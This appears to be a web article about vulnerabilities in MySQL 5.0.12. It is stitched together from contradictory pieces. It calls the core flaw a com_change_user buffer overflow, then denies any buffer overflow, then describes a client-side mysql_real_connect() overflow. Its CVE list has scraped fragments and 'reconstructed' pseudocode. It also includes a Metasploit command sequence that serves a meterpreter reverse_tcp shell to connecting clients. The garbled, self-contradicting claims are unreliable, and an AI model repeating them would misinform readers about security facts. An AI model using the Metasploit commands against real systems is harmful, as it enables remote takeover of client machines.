Mysql 5.0.12 Exploit «LIMITED ✮»

MySQL 5.0.12 Exploit: Understanding the Vulnerability

In 2005, a significant vulnerability was discovered in MySQL 5.0.12, a popular open-source relational database management system. This exploit allowed attackers to gain unauthorized access to sensitive data and potentially take control of the database. In this article, we'll delve into the details of the exploit, its impact, and the measures taken to address the vulnerability.

What is the Exploit?

The MySQL 5.0.12 exploit is a buffer overflow vulnerability that occurs when a maliciously crafted packet is sent to the MySQL server. This packet can be designed to overflow a buffer in the server's memory, allowing the attacker to execute arbitrary code.

How Does it Work?

The exploit takes advantage of a vulnerability in the MySQL server's handling of network packets. Specifically, it targets the com_change_user command, which is used to change the user context. By sending a specially crafted packet, an attacker can overflow a buffer in the server's memory, potentially allowing them to execute malicious code.

Impact of the Exploit

The impact of this exploit is significant, as it can allow an attacker to:

Gain unauthorized access to sensitive data
Execute arbitrary code on the server
Potentially take control of the database

Measures Taken to Address the Vulnerability mysql 5.0.12 exploit

The MySQL development team quickly responded to the vulnerability by releasing a patch, which was included in MySQL 5.0.13. This patch addressed the buffer overflow vulnerability and prevented attackers from exploiting it.

Mitigation Strategies

To mitigate the risk of this exploit, database administrators can take the following steps:

Upgrade to a patched version of MySQL (5.0.13 or later)
Implement network access controls to restrict access to the MySQL server
Monitor database activity for suspicious behavior

Conclusion

The MySQL 5.0.12 exploit highlights the importance of staying vigilant about security vulnerabilities in software. By understanding the nature of the exploit and taking steps to mitigate its impact, database administrators can help protect their data and prevent unauthorized access.

References

MySQL 5.0.12, released in 2005, is highly outdated and contains numerous critical vulnerabilities. Because this version is often featured in legacy systems or training environments like Metasploitable2, it is a common target for demonstration exploits. Key Vulnerabilities in MySQL 5.0.12

Older versions of MySQL 5.0 are susceptible to several "classic" exploits that allow attackers to bypass security or execute arbitrary code: Remote Code Execution (RCE) via COM_TABLE_DUMP: MySQL 5

CVE-2006-1518: A buffer overflow exists in the open_table function. By sending crafted COM_TABLE_DUMP packets with invalid length values, a remote attacker can potentially execute arbitrary code. Information Leak via Buffer Over-read:

CVE-2006-1516: Attackers can read sensitive portions of the server's memory by providing a username without a trailing null byte during the connection check. Privilege Escalation:

Stored Routine Vulnerabilities: Versions prior to 5.0.25 allow authenticated users to gain elevated privileges through specifically crafted stored routines. Denial of Service (DoS):

CVE-2006-3486: An off-by-one buffer overflow in the Instance Manager allows local users to crash the application. Common Exploitation Methods

In modern security testing, MySQL 5.0.12 is often exploited using automated tools:

SQL Injection Payloads: Many automated scanners like sqlmap specifically identify "MySQL >= 5.0.12" to use stacked queries or time-based blind payloads (e.g., using SLEEP()).

Authentication Bypass (CVE-2012-2122): While technically affecting later versions (5.1.x, 5.5.x), this famous "1 in 256" chance bypass is frequently associated with legacy MySQL security discussions. It allows an attacker to repeatedly attempt logins until a memcmp error grants access without a valid password. Recommended Security Actions If you are managing a system running MySQL 5.0.12: Vulnerability Details : CVE-2012-2122

Public exploit exists! ... sql/password. c in Oracle MySQL 5.1. x before 5.1. 63, 5.5. x before 5.5. 24, and 5.6. x before 5.6. 6, CVE Details CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL Gain unauthorized access to sensitive data Execute arbitrary

The Vulnerability: CVE-2005-4740 (The UDF Blind Spot)

The core issue in MySQL 5.0.12 was not a buffer overflow or a memory corruption bug. It was a design flaw in the plugin architecture, specifically regarding how the server handled custom functions.

The Vulnerability Premise

The exploit targets a buffer overflow in the mysql_real_connect() function, specifically while handling a specially crafted server version string sent during the initial handshake. In simple terms: when a MySQL client connects to a malicious server (or a compromised legitimate server), the server sends back a welcome packet containing a version string. The client copies this string into a fixed-size buffer without proper bounds checking.

The result: An attacker-controlled server can crash the client application or, more dangerously, execute arbitrary code on the client machine.

Metasploit Integration

The Metasploit Framework historically included:

use auxiliary/server/mysql/mysql_yassl_hello
set SRVHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

When a MySQL client connects, the module delivers the overflow and returns a shell.

1. Version Upgrades (The Obvious Fix)

MySQL 5.0.15 and later introduced strict checks: Only users with INSERT privilege on mysql.func could create UDFs. MySQL 5.1 added the plugin_dir variable, requiring libraries to reside in a dedicated, non-writable directory.

Verification: Never run MySQL 5.0.x. Upgrade to at least 5.7 or, preferably, 8.0.

The Affected Code (Simplified)

While the full source of MySQL 5.0.12 is available, the critical segment looks roughly like this (pseudocode reconstructed from analysis):

// Inside mysql_real_connect()
char server_version[256];  // Fixed-size buffer on stack
// ...
packet = get_server_handshake(MySQL socket);
// Extract version string from packet, no length check
strcpy(server_version, packet->version);  // BOOM – overflow if version > 255 bytes

In reality, the version string is taken from the server’s initial greeting. The protocol allows up to 255 bytes for that string, but MySQL 5.0.12 client code does not validate the length before copying it via strcpy() or similar unsafe function.